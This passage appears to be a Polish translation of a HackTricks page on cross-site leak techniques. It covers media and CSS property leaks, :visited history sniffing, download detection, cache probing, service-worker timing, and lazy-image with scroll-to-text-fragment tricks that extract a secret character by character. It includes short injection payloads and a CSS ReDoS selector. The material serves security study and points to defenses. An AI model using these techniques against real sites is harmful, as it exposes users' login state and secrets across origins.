- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do rozróżnienia między możliwymi stanami, analizując informacje ujawnione przez niektóre elementy HTML.

### Informacje ujawnione przez elementy HTML

- **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` czasy multimediów, które można uzyskać za pomocą jego API. [Przeczytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, oferujące bardziej szczegółowe informacje o zawartości multimedialnej. [Przeczytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegóły dotyczące jakości odtwarzania wideo, w tym `totalVideoFrames`, co może wskazywać na ilość przetworzonych danych wideo. [Przeczytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, co wskazuje na niepowodzenie w poprawnym załadowaniu obrazu. [Przeczytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### Właściwość CSS

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Aplikacje internetowe mogą zmieniać **stylizację strony internetowej w zależności od statusu użytkownika**. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.

### Historia CSS

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że był już odwiedzany
- **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

> [!NOTE]
> Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.

Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie obliczonego stylu, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane za pomocą selektora `:visited`.

Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co potencjalnie ujawnia stan odwiedzenia na podstawie interakcji użytkownika.

Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co sprawia, że stan odwiedzenia jest wykrywalny poprzez analizę czasową.

Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:

- `:visited`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### Wycieki X-Frame ContentDocument

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówki
- **Więcej informacji**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Podsumowanie:** W Google Chrome wyświetlana jest dedykowana strona błędu, gdy strona jest zablokowana przed osadzeniem na stronie z innego źródła z powodu ograniczeń X-Frame-Options.
- **Przykład kodu**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome unikalnie zwraca pusty obiekt dokumentu (zamiast `null`) dla właściwości `contentDocument` tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą to wykorzystać, wykrywając pusty dokument, co może ujawniać informacje o stanie użytkownika, szczególnie jeśli deweloperzy niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.

### Wykrywanie pobierania

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:

1. **Monitorowanie paska pobierania**:
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
- Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobranie zostało zainicjowane.
2. **Nawigacja pobierania za pomocą iframe**:
- Gdy strona wyzwala pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy nagłówek powoduje pobranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe**:
- Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobranie pliku zostało wyzwolone (brak nawigacji) czy zawartość jest wyświetlana w linii (nawigacja występuje).

W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobrania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

### Ominięcie podzielonej pamięci podręcznej HTTP <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (z [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

> [!WARNING]
> Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki zajmuje**.

### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Przekierowania
- **Więcej informacji**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Podsumowanie:** Możliwe jest ustalenie, czy odpowiedź na żądanie fetch jest przekierowaniem
- **Przykład kodu**:

![](<../images/image (652).png>)

### Fetch z AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu i przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany**, oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.

### Zanieczyszczenie skryptu

- **Metody włączenia**: Elementy HTML (skrypt)
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Podsumowanie:** Możliwe jest **nadpisanie wbudowanych funkcji** i odczytanie ich argumentów, nawet z **skryptu z innego źródła** (którego nie można odczytać bezpośrednio), co może **ujawniać cenne informacje**.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Pracownicy serwisowi <a href="#service-workers" id="service-workers"></a>

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Podsumowanie:** Mierz czas wykonania strony internetowej za pomocą pracowników serwisowych.
- **Przykład kodu**:

W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.

Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak zawartości)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.

> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

### Czas pobierania

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Czas między oknami

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania za pomocą `window.open`. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Z HTML lub ponownym wstrzyknięciem

Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **wstrzykując zawartość HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzyknąć HTML, ale nie możesz wstrzyknąć kodu JS**.

### Zawieszone znaczniki

{{#ref}}
dangling-markup-html-scriptless-injection/
{{#endref}}

### Ładowanie obrazów leniwie

Jeśli musisz **wykradać zawartość** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
Jednak jeśli z jakiegokolwiek powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.

**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
Dlatego możesz **dodać dużo śmieciowych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + śmieci **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością śmieci do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolone:

#### Scroll-to-text-fragment

Jednak musisz **sprawić, by bot uzyskał dostęp do strony** z czymś takim jak
```
#:~:text=SECR
```
Strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/post.html#:~:text=SECR`**

Gdzie post.html zawiera niechciane znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.

Tekst ten spowoduje, że bot uzyska dostęp do każdego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst to sekret i jest **tuż poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.

Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Ładowanie obrazów na podstawie czasu

Jeśli **nie ma możliwości załadowania zewnętrznego obrazu**, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **odgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**

{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}

### ReDoS

{{#ref}}
regular-expression-denial-of-service-redos.md
{{#endref}}

### CSS ReDoS

Jeśli użyto `jQuery(location.hash)`, możliwe jest ustalenie za pomocą czasu **czy istnieje jakiś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
```
### CSS Injection

{{#ref}}
xs-search/css-injection/
{{#endref}}

## Defenses

Zaleca się stosowanie środków zaradczych opisanych w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.

## References

- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
- [https://xsleaks.dev/](https://xsleaks.dev)
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
- [https://xsinator.com/](https://xsinator.com/)
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{{#include ../banners/hacktricks-training.md}}

<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}